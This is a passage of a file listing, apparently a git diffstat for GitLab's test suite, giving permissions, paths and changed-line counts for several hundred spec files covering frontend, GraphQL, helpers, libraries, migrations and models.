-rw-r--r--spec/frontend/vue_shared/security_reports/security_reports_app_spec.js497
-rw-r--r--spec/frontend/vue_shared/security_reports/store/getters_spec.js182
-rw-r--r--spec/frontend/vue_shared/security_reports/utils_spec.js28
-rw-r--r--spec/frontend/vuex_shared/modules/members/actions_spec.js152
-rw-r--r--spec/frontend/vuex_shared/modules/members/mutations_spec.js117
-rw-r--r--spec/frontend/vuex_shared/modules/members/utils_spec.js14
-rw-r--r--spec/frontend/whats_new/components/app_spec.js201
-rw-r--r--spec/frontend/whats_new/store/actions_spec.js17
-rw-r--r--spec/frontend/whats_new/utils/notification_spec.js55
-rw-r--r--spec/frontend_integration/.eslintrc.yml4
-rw-r--r--spec/frontend_integration/ide/__snapshots__/ide_integration_spec.js.snap114
-rw-r--r--spec/frontend_integration/ide/helpers/ide_helper.js173
-rw-r--r--spec/frontend_integration/ide/helpers/mock_data.js12
-rw-r--r--spec/frontend_integration/ide/helpers/start.js17
-rw-r--r--spec/frontend_integration/ide/ide_helper.js122
-rw-r--r--spec/frontend_integration/ide/ide_integration_spec.js136
-rw-r--r--spec/frontend_integration/ide/user_opens_file_spec.js89
-rw-r--r--spec/frontend_integration/ide/user_opens_ide_spec.js160
-rw-r--r--spec/frontend_integration/test_helpers/fixtures.js42
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/index.js27
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/routes/repository.js12
-rw-r--r--spec/graphql/features/authorization_spec.rb22
-rw-r--r--spec/graphql/features/feature_flag_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/create_alert_issue_spec.rb1
-rw-r--r--spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/update_alert_status_spec.rb2
-rw-r--r--spec/graphql/mutations/boards/issues/issue_move_list_spec.rb18
-rw-r--r--spec/graphql/mutations/boards/lists/create_spec.rb9
-rw-r--r--spec/graphql/mutations/concerns/mutations/finds_by_gid_spec.rb26
-rw-r--r--spec/graphql/mutations/container_expiration_policies/update_spec.rb2
-rw-r--r--spec/graphql/mutations/container_repositories/destroy_tags_spec.rb92
-rw-r--r--spec/graphql/mutations/discussions/toggle_resolve_spec.rb2
-rw-r--r--spec/graphql/mutations/environments/canary_ingress/update_spec.rb66
-rw-r--r--spec/graphql/mutations/issues/create_spec.rb8
-rw-r--r--spec/graphql/mutations/issues/update_spec.rb2
-rw-r--r--spec/graphql/mutations/labels/create_spec.rb2
-rw-r--r--spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb2
-rw-r--r--spec/graphql/mutations/releases/delete_spec.rb92
-rw-r--r--spec/graphql/mutations/releases/update_spec.rb232
-rw-r--r--spec/graphql/resolvers/alert_management/alert_resolver_spec.rb12
-rw-r--r--spec/graphql/resolvers/base_resolver_spec.rb8
-rw-r--r--spec/graphql/resolvers/board_list_issues_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/board_lists_resolver_spec.rb12
-rw-r--r--spec/graphql/resolvers/ci/config_resolver_spec.rb56
-rw-r--r--spec/graphql/resolvers/ci/jobs_resolver_spec.rb20
-rw-r--r--spec/graphql/resolvers/commit_pipelines_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb83
-rw-r--r--spec/graphql/resolvers/concerns/looks_ahead_spec.rb3
-rw-r--r--spec/graphql/resolvers/design_management/version/design_at_version_resolver_spec.rb6
-rw-r--r--spec/graphql/resolvers/design_management/version_in_collection_resolver_spec.rb6
-rw-r--r--spec/graphql/resolvers/design_management/versions_resolver_spec.rb18
-rw-r--r--spec/graphql/resolvers/error_tracking/sentry_errors_resolver_spec.rb4
-rw-r--r--spec/graphql/resolvers/issue_status_counts_resolver_spec.rb11
-rw-r--r--spec/graphql/resolvers/issues_resolver_spec.rb48
-rw-r--r--spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/merge_requests_resolver_spec.rb22
-rw-r--r--spec/graphql/resolvers/project_merge_requests_resolver_spec.rb26
-rw-r--r--spec/graphql/resolvers/project_pipeline_resolver_spec.rb19
-rw-r--r--spec/graphql/resolvers/project_pipeline_statistics_resolver_spec.rb36
-rw-r--r--spec/graphql/resolvers/projects/jira_imports_resolver_spec.rb73
-rw-r--r--spec/graphql/resolvers/projects/snippets_resolver_spec.rb26
-rw-r--r--spec/graphql/resolvers/releases_resolver_spec.rb21
-rw-r--r--spec/graphql/resolvers/snippets/blobs_resolver_spec.rb26
-rw-r--r--spec/graphql/resolvers/snippets_resolver_spec.rb11
-rw-r--r--spec/graphql/resolvers/todo_resolver_spec.rb4
-rw-r--r--spec/graphql/resolvers/user_discussions_count_resolver_spec.rb54
-rw-r--r--spec/graphql/resolvers/user_notes_count_resolver_spec.rb93
-rw-r--r--spec/graphql/resolvers/users/snippets_resolver_spec.rb13
-rw-r--r--spec/graphql/types/alert_management/domain_filter_enum_spec.rb11
-rw-r--r--spec/graphql/types/alert_management/prometheus_integration_type_spec.rb5
-rw-r--r--spec/graphql/types/base_field_spec.rb10
-rw-r--r--spec/graphql/types/ci/analytics_type_spec.rb23
-rw-r--r--spec/graphql/types/ci/config/config_type_spec.rb18
-rw-r--r--spec/graphql/types/ci/config/group_type_spec.rb17
-rw-r--r--spec/graphql/types/ci/config/job_type_spec.rb18
-rw-r--r--spec/graphql/types/ci/config/need_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/config/stage_type_spec.rb16
-rw-r--r--spec/graphql/types/ci/job_artifact_file_type_enum_spec.rb11
-rw-r--r--spec/graphql/types/ci/job_artifact_type_spec.rb11
-rw-r--r--spec/graphql/types/ci/job_type_spec.rb1
-rw-r--r--spec/graphql/types/ci/pipeline_type_spec.rb15
-rw-r--r--spec/graphql/types/commit_type_spec.rb2
-rw-r--r--spec/graphql/types/container_repository_details_type_spec.rb2
-rw-r--r--spec/graphql/types/container_repository_type_spec.rb2
-rw-r--r--spec/graphql/types/countable_connection_type_spec.rb2
-rw-r--r--spec/graphql/types/group_member_relation_enum_spec.rb11
-rw-r--r--spec/graphql/types/group_type_spec.rb2
-rw-r--r--spec/graphql/types/merge_request_connection_type_spec.rb11
-rw-r--r--spec/graphql/types/merge_request_type_spec.rb11
-rw-r--r--spec/graphql/types/permission_types/base_permission_type_spec.rb6
-rw-r--r--spec/graphql/types/project_member_relation_enum_spec.rb11
-rw-r--r--spec/graphql/types/project_type_spec.rb34
-rw-r--r--spec/graphql/types/terraform/state_version_type_spec.rb4
-rw-r--r--spec/graphql/types/user_type_spec.rb3
-rw-r--r--spec/helpers/admin/user_actions_helper_spec.rb105
-rw-r--r--spec/helpers/application_helper_spec.rb4
-rw-r--r--spec/helpers/auth_helper_spec.rb16
-rw-r--r--spec/helpers/blob_helper_spec.rb62
-rw-r--r--spec/helpers/button_helper_spec.rb2
-rw-r--r--spec/helpers/calendar_helper_spec.rb9
-rw-r--r--spec/helpers/ci/pipeline_schedules_helper_spec.rb24
-rw-r--r--spec/helpers/ci/runners_helper_spec.rb53
-rw-r--r--spec/helpers/clusters_helper_spec.rb2
-rw-r--r--spec/helpers/defer_script_tag_helper_spec.rb14
-rw-r--r--spec/helpers/diff_helper_spec.rb26
-rw-r--r--spec/helpers/emails_helper_spec.rb2
-rw-r--r--spec/helpers/gitlab_script_tag_helper_spec.rb44
-rw-r--r--spec/helpers/groups/group_members_helper_spec.rb4
-rw-r--r--spec/helpers/icons_helper_spec.rb17
-rw-r--r--spec/helpers/issuables_helper_spec.rb26
-rw-r--r--spec/helpers/markup_helper_spec.rb18
-rw-r--r--spec/helpers/merge_requests_helper_spec.rb20
-rw-r--r--spec/helpers/nav_helper_spec.rb2
-rw-r--r--spec/helpers/notifications_helper_spec.rb17
-rw-r--r--spec/helpers/operations_helper_spec.rb34
-rw-r--r--spec/helpers/projects/alert_management_helper_spec.rb32
-rw-r--r--spec/helpers/projects/terraform_helper_spec.rb27
-rw-r--r--spec/helpers/projects_helper_spec.rb62
-rw-r--r--spec/helpers/rss_helper_spec.rb9
-rw-r--r--spec/helpers/search_helper_spec.rb41
-rw-r--r--spec/helpers/services_helper_spec.rb55
-rw-r--r--spec/helpers/sorting_helper_spec.rb1
-rw-r--r--spec/helpers/storage_helper_spec.rb6
-rw-r--r--spec/helpers/time_zone_helper_spec.rb71
-rw-r--r--spec/helpers/tree_helper_spec.rb18
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb17
-rw-r--r--spec/helpers/users_helper_spec.rb78
-rw-r--r--spec/helpers/visibility_level_helper_spec.rb30
-rw-r--r--spec/helpers/whats_new_helper_spec.rb33
-rw-r--r--spec/initializers/lograge_spec.rb28
-rw-r--r--spec/initializers/secret_token_spec.rb36
-rw-r--r--spec/javascripts/blob/balsamiq/balsamiq_viewer_browser_spec.js59
-rw-r--r--spec/javascripts/vue_shared/components/tooltip_on_truncate_browser_spec.js240
-rw-r--r--spec/lib/api/entities/merge_request_basic_spec.rb27
-rw-r--r--spec/lib/api/helpers/sse_helpers_spec.rb44
-rw-r--r--spec/lib/api/validations/validators/integer_or_custom_value_spec.rb46
-rw-r--r--spec/lib/atlassian/jira_connect/client_spec.rb165
-rw-r--r--spec/lib/atlassian/jira_connect/serializers/build_entity_spec.rb52
-rw-r--r--spec/lib/backup/files_spec.rb18
-rw-r--r--spec/lib/backup/repositories_spec.rb4
-rw-r--r--spec/lib/banzai/filter/ascii_doc_sanitization_filter_spec.rb58
-rw-r--r--spec/lib/banzai/filter/kroki_filter_spec.rb41
-rw-r--r--spec/lib/banzai/filter/markdown_filter_spec.rb6
-rw-r--r--spec/lib/banzai/pipeline/jira_import/adf_commonmark_pipeline_spec.rb2
-rw-r--r--spec/lib/bulk_imports/common/extractors/graphql_extractor_spec.rb7
-rw-r--r--spec/lib/bulk_imports/common/transformers/graphql_cleaner_transformer_spec.rb88
-rw-r--r--spec/lib/bulk_imports/common/transformers/hash_key_digger_spec.rb28
-rw-r--r--spec/lib/bulk_imports/common/transformers/prohibited_attributes_transformer_spec.rb72
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb11
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb5
-rw-r--r--spec/lib/bulk_imports/importers/group_importer_spec.rb30
-rw-r--r--spec/lib/bulk_imports/pipeline/attributes_spec.rb57
-rw-r--r--spec/lib/bulk_imports/pipeline/runner_spec.rb169
-rw-r--r--spec/lib/bulk_imports/pipeline_spec.rb63
-rw-r--r--spec/lib/feature/definition_spec.rb63
-rw-r--r--spec/lib/feature_spec.rb173
-rw-r--r--spec/lib/gitlab/anonymous_session_spec.rb2
-rw-r--r--spec/lib/gitlab/asciidoc/html5_converter_spec.rb15
-rw-r--r--spec/lib/gitlab/asciidoc_spec.rb53
-rw-r--r--spec/lib/gitlab/auth/auth_finders_spec.rb17
-rw-r--r--spec/lib/gitlab/auth/crowd/authentication_spec.rb48
-rw-r--r--spec/lib/gitlab/auth/ldap/user_spec.rb17
-rw-r--r--spec/lib/gitlab/auth/o_auth/user_spec.rb17
-rw-r--r--spec/lib/gitlab/auth/otp/session_enforcer_spec.rb41
-rw-r--r--spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb24
-rw-r--r--spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb87
-rw-r--r--spec/lib/gitlab/auth/request_authenticator_spec.rb56
-rw-r--r--spec/lib/gitlab/auth_spec.rb23
-rw-r--r--spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb12
-rw-r--r--spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb6
-rw-r--r--spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb10
-rw-r--r--spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb20
-rw-r--r--spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb22
-rw-r--r--spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb4
-rw-r--r--spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb48
-rw-r--r--spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb22
-rw-r--r--spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb20
-rw-r--r--spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb8
-rw-r--r--spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb48
-rw-r--r--spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb28
-rw-r--r--spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb16
-rw-r--r--spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb4
-rw-r--r--spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb44
-rw-r--r--spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb6
-rw-r--r--spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb6
-rw-r--r--spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb8
-rw-r--r--spec/lib/gitlab/background_migration/reset_merge_status_spec.rb4
-rw-r--r--spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb74
-rw-r--r--spec/lib/gitlab/checks/diff_check_spec.rb21
-rw-r--r--spec/lib/gitlab/checks/push_check_spec.rb21
-rw-r--r--spec/lib/gitlab/checks/snippet_check_spec.rb40
-rw-r--r--spec/lib/gitlab/ci/ansi2json/result_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/ansi2json/style_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/build/rules/rule/clause_spec.rb37
-rw-r--r--spec/lib/gitlab/ci/build/rules_spec.rb54
-rw-r--r--spec/lib/gitlab/ci/config/entry/allow_failure_spec.rb92
-rw-r--r--spec/lib/gitlab/ci/config/entry/bridge_spec.rb17
-rw-r--r--spec/lib/gitlab/ci/config/entry/image_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/job_spec.rb48
-rw-r--r--spec/lib/gitlab/ci/config/entry/need_spec.rb39
-rw-r--r--spec/lib/gitlab/ci/config/entry/needs_spec.rb23
-rw-r--r--spec/lib/gitlab/ci/config/entry/processable_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/root_spec.rb12
-rw-r--r--spec/lib/gitlab/ci/config/entry/rules/rule_spec.rb16
-rw-r--r--spec/lib/gitlab/ci/config/entry/service_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/services_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/variables_spec.rb54
-rw-r--r--spec/lib/gitlab/ci/mask_secret_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb138
-rw-r--r--spec/lib/gitlab/ci/parsers/coverage/cobertura_spec.rb749
-rw-r--r--spec/lib/gitlab/ci/parsers_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb109
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb62
-rw-r--r--spec/lib/gitlab/ci/pipeline/quota/deployments_spec.rb95
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb66
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb10
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb75
-rw-r--r--spec/lib/gitlab/ci/reports/accessibility_reports_comparer_spec.rb153
-rw-r--r--spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb308
-rw-r--r--spec/lib/gitlab/ci/reports/codequality_reports_spec.rb136
-rw-r--r--spec/lib/gitlab/ci/reports/reports_comparer_spec.rb97
-rw-r--r--spec/lib/gitlab/ci/templates/npm_spec.rb92
-rw-r--r--spec/lib/gitlab/ci/trace/checksum_spec.rb44
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb106
-rw-r--r--spec/lib/gitlab/cleanup/project_uploads_spec.rb18
-rw-r--r--spec/lib/gitlab/config/entry/configurable_spec.rb2
-rw-r--r--spec/lib/gitlab/cycle_analytics/events_spec.rb3
-rw-r--r--spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb4
-rw-r--r--spec/lib/gitlab/cycle_analytics/usage_data_spec.rb95
-rw-r--r--spec/lib/gitlab/danger/base_linter_spec.rb154
-rw-r--r--spec/lib/gitlab/danger/commit_linter_spec.rb135
-rw-r--r--spec/lib/gitlab/danger/helper_spec.rb36
-rw-r--r--spec/lib/gitlab/danger/merge_request_linter_spec.rb55
-rw-r--r--spec/lib/gitlab/danger/roulette_spec.rb8
-rw-r--r--spec/lib/gitlab/data_builder/pipeline_spec.rb16
-rw-r--r--spec/lib/gitlab/database/batch_count_spec.rb23
-rw-r--r--spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb46
-rw-r--r--spec/lib/gitlab/database/postgres_hll/batch_distinct_counter_spec.rb132
-rw-r--r--spec/lib/gitlab/database/postgres_index_bloat_estimate_spec.rb34
-rw-r--r--spec/lib/gitlab/database/postgres_index_spec.rb23
-rw-r--r--spec/lib/gitlab/database/postgresql_adapter/empty_query_ping_spec.rb43
-rw-r--r--spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb32
-rw-r--r--spec/lib/gitlab/database/reindexing/index_selection_spec.rb50
-rw-r--r--spec/lib/gitlab/database/reindexing/reindex_action_spec.rb8
-rw-r--r--spec/lib/gitlab/database/reindexing_spec.rb6
-rw-r--r--spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb4
-rw-r--r--spec/lib/gitlab/deploy_key_access_spec.rb66
-rw-r--r--spec/lib/gitlab/diff/file_collection/commit_spec.rb72
-rw-r--r--spec/lib/gitlab/diff/file_collection/compare_spec.rb39
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb31
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_spec.rb7
-rw-r--r--spec/lib/gitlab/diff/file_collection_sorter_spec.rb51
-rw-r--r--spec/lib/gitlab/diff/lines_unfolder_spec.rb4
-rw-r--r--spec/lib/gitlab/email/handler/service_desk_handler_spec.rb2
-rw-r--r--spec/lib/gitlab/email/reply_parser_spec.rb2
-rw-r--r--spec/lib/gitlab/email/smime/certificate_spec.rb14
-rw-r--r--spec/lib/gitlab/encrypted_configuration_spec.rb145
-rw-r--r--spec/lib/gitlab/experimentation/controller_concern_spec.rb216
-rw-r--r--spec/lib/gitlab/experimentation/experiment_spec.rb55
-rw-r--r--spec/lib/gitlab/experimentation_spec.rb152
-rw-r--r--spec/lib/gitlab/git/repository_spec.rb66
-rw-r--r--spec/lib/gitlab/git_access_project_spec.rb17
-rw-r--r--spec/lib/gitlab/git_access_spec.rb117
-rw-r--r--spec/lib/gitlab/gitaly_client/commit_service_spec.rb27
-rw-r--r--spec/lib/gitlab/gitaly_client_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/client_spec.rb24
-rw-r--r--spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb69
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb41
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb202
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb1
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_merged_by_importer_spec.rb47
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb46
-rw-r--r--spec/lib/gitlab/github_import/parallel_scheduling_spec.rb80
-rw-r--r--spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb72
-rw-r--r--spec/lib/gitlab/github_import/representation/pull_request_spec.rb1
-rw-r--r--spec/lib/gitlab/google_code_import/client_spec.rb38
-rw-r--r--spec/lib/gitlab/google_code_import/importer_spec.rb88
-rw-r--r--spec/lib/gitlab/google_code_import/project_creator_spec.rb32
-rw-r--r--spec/lib/gitlab/graphql/docs/renderer_spec.rb26
-rw-r--r--spec/lib/gitlab/graphql/markdown_field_spec.rb2
-rw-r--r--spec/lib/gitlab/graphql/pagination/array_connection_spec.rb15
-rw-r--r--spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb8
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb11
-rw-r--r--spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb11
-rw-r--r--spec/lib/gitlab/graphql/timeout_spec.rb2
-rw-r--r--spec/lib/gitlab/hook_data/group_member_builder_spec.rb60
-rw-r--r--spec/lib/gitlab/i18n/po_linter_spec.rb55
-rw-r--r--spec/lib/gitlab/i18n/translation_entry_spec.rb112
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml10
-rw-r--r--spec/lib/gitlab/import_export/group/tree_restorer_spec.rb25
-rw-r--r--spec/lib/gitlab/import_export/importer_spec.rb15
-rw-r--r--spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/project/tree_restorer_spec.rb6
-rw-r--r--spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb27
-rw-r--r--spec/lib/gitlab/import_export/repo_restorer_spec.rb74
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml6
-rw-r--r--spec/lib/gitlab/import_export/wiki_restorer_spec.rb47
-rw-r--r--spec/lib/gitlab/import_sources_spec.rb3
-rw-r--r--spec/lib/gitlab/instrumentation_helper_spec.rb9
-rw-r--r--spec/lib/gitlab/kubernetes/deployment_spec.rb190
-rw-r--r--spec/lib/gitlab/kubernetes/helm/v2/reset_command_spec.rb26
-rw-r--r--spec/lib/gitlab/kubernetes/ingress_spec.rb57
-rw-r--r--spec/lib/gitlab/kubernetes/rollout_instances_spec.rb128
-rw-r--r--spec/lib/gitlab/kubernetes/rollout_status_spec.rb271
-rw-r--r--spec/lib/gitlab/metrics/background_transaction_spec.rb56
-rw-r--r--spec/lib/gitlab/metrics/sidekiq_middleware_spec.rb66
-rw-r--r--spec/lib/gitlab/metrics/subscribers/active_record_spec.rb119
-rw-r--r--spec/lib/gitlab/metrics/transaction_spec.rb8
-rw-r--r--spec/lib/gitlab/metrics/web_transaction_spec.rb6
-rw-r--r--spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb35
-rw-r--r--spec/lib/gitlab/pagination/offset_header_builder_spec.rb61
-rw-r--r--spec/lib/gitlab/path_regex_spec.rb96
-rw-r--r--spec/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled_spec.rb64
-rw-r--r--spec/lib/gitlab/performance_bar/stats_spec.rb42
-rw-r--r--spec/lib/gitlab/rack_attack/user_allowlist_spec.rb33
-rw-r--r--spec/lib/gitlab/rack_attack_spec.rb96
-rw-r--r--spec/lib/gitlab/sample_data_template_spec.rb5
-rw-r--r--spec/lib/gitlab/setup_helper/workhorse_spec.rb25
-rw-r--r--spec/lib/gitlab/sidekiq_cluster_spec.rb8
-rw-r--r--spec/lib/gitlab/sidekiq_death_handler_spec.rb50
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb65
-rw-r--r--spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb84
-rw-r--r--spec/lib/gitlab/tracking/destinations/snowplow_spec.rb4
-rw-r--r--spec/lib/gitlab/tracking_spec.rb17
-rw-r--r--spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data_counters/base_counter_spec.rb34
-rw-r--r--spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb14
-rw-r--r--spec/lib/gitlab/usage_data_counters/guest_package_event_counter_spec.rb31
-rw-r--r--spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb4
-rw-r--r--spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb10
-rw-r--r--spec/lib/gitlab/usage_data_counters/search_counter_spec.rb8
-rw-r--r--spec/lib/gitlab/usage_data_counters_spec.rb32
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb93
-rw-r--r--spec/lib/gitlab/user_access_spec.rb20
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb30
-rw-r--r--spec/lib/gitlab/uuid_spec.rb52
-rw-r--r--spec/lib/gitlab/webpack/manifest_spec.rb4
-rw-r--r--spec/lib/gitlab_danger_spec.rb4
-rw-r--r--spec/lib/gitlab_spec.rb31
-rw-r--r--spec/lib/microsoft_teams/notifier_spec.rb4
-rw-r--r--spec/lib/object_storage/direct_upload_spec.rb47
-rw-r--r--spec/lib/product_analytics/tracker_spec.rb49
-rw-r--r--spec/lib/quality/test_level_spec.rb8
-rw-r--r--spec/mailers/emails/projects_spec.rb6
-rw-r--r--spec/mailers/emails/releases_spec.rb9
-rw-r--r--spec/mailers/notify_spec.rb34
-rw-r--r--spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb16
-rw-r--r--spec/migrations/20200122123016_backfill_project_settings_spec.rb10
-rw-r--r--spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb22
-rw-r--r--spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb18
-rw-r--r--spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb24
-rw-r--r--spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb6
-rw-r--r--spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb10
-rw-r--r--spec/migrations/20200526115436_dedup_mr_metrics_spec.rb12
-rw-r--r--spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb2
-rw-r--r--spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb2
-rw-r--r--spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb12
-rw-r--r--spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb2
-rw-r--r--spec/migrations/backfill_imported_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb4
-rw-r--r--spec/migrations/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb4
-rw-r--r--spec/migrations/enqueue_reset_merge_status_second_run_spec.rb4
-rw-r--r--spec/migrations/enqueue_reset_merge_status_spec.rb4
-rw-r--r--spec/migrations/ensure_namespace_settings_creation_spec.rb2
-rw-r--r--spec/migrations/ensure_u2f_registrations_migrated_spec.rb41
-rw-r--r--spec/migrations/fill_file_store_lfs_objects_spec.rb6
-rw-r--r--spec/migrations/fill_store_uploads_spec.rb6
-rw-r--r--spec/migrations/fix_null_type_labels_spec.rb12
-rw-r--r--spec/migrations/fix_pool_repository_source_project_id_spec.rb4
-rw-r--r--spec/migrations/fix_projects_without_project_feature_spec.rb8
-rw-r--r--spec/migrations/fix_projects_without_prometheus_services_spec.rb8
-rw-r--r--spec/migrations/fix_wrong_pages_access_level_spec.rb2
-rw-r--r--spec/migrations/insert_project_hooks_plan_limits_spec.rb10
-rw-r--r--spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb2
-rw-r--r--spec/migrations/move_limits_from_plans_spec.rb10
-rw-r--r--spec/migrations/populate_project_statistics_packages_size_spec.rb2
-rw-r--r--spec/migrations/populate_remaining_missing_dismissal_information_for_vulnerabilities_spec.rb31
-rw-r--r--spec/migrations/remove_orphan_service_hooks_spec.rb26
-rw-r--r--spec/migrations/schedule_link_lfs_objects_projects_spec.rb34
-rw-r--r--spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb4
-rw-r--r--spec/migrations/schedule_repopulate_historical_vulnerability_statistics_spec.rb36
-rw-r--r--spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb29
-rw-r--r--spec/migrations/seed_repository_storages_weighted_spec.rb2
-rw-r--r--spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb30
-rw-r--r--spec/models/alert_management/alert_spec.rb7
-rw-r--r--spec/models/alert_management/http_integration_spec.rb48
-rw-r--r--spec/models/analytics/devops_adoption/segment_selection_spec.rb69
-rw-r--r--spec/models/application_setting_spec.rb13
-rw-r--r--spec/models/bulk_imports/entity_spec.rb64
-rw-r--r--spec/models/bulk_imports/failure_spec.rb17
-rw-r--r--spec/models/ci/bridge_spec.rb16
-rw-r--r--spec/models/ci/build_dependencies_spec.rb202
-rw-r--r--spec/models/ci/build_spec.rb194
-rw-r--r--spec/models/ci/build_trace_chunk_spec.rb2
-rw-r--r--spec/models/ci/build_trace_chunks/fog_spec.rb46
-rw-r--r--spec/models/ci/job_artifact_spec.rb16
-rw-r--r--spec/models/ci/pipeline_spec.rb575
-rw-r--r--spec/models/clusters/agent_spec.rb12
-rw-r--r--spec/models/clusters/applications/helm_spec.rb40
-rw-r--r--spec/models/clusters/cluster_spec.rb6
-rw-r--r--spec/models/clusters/platforms/kubernetes_spec.rb399
-rw-r--r--spec/models/concerns/cache_markdown_field_spec.rb93
-rw-r--r--spec/models/concerns/case_sensitivity_spec.rb12
-rw-r--r--spec/models/concerns/ignorable_columns_spec.rb8
-rw-r--r--spec/models/concerns/mentionable_spec.rb36
-rw-r--r--spec/models/concerns/project_features_compatibility_spec.rb2
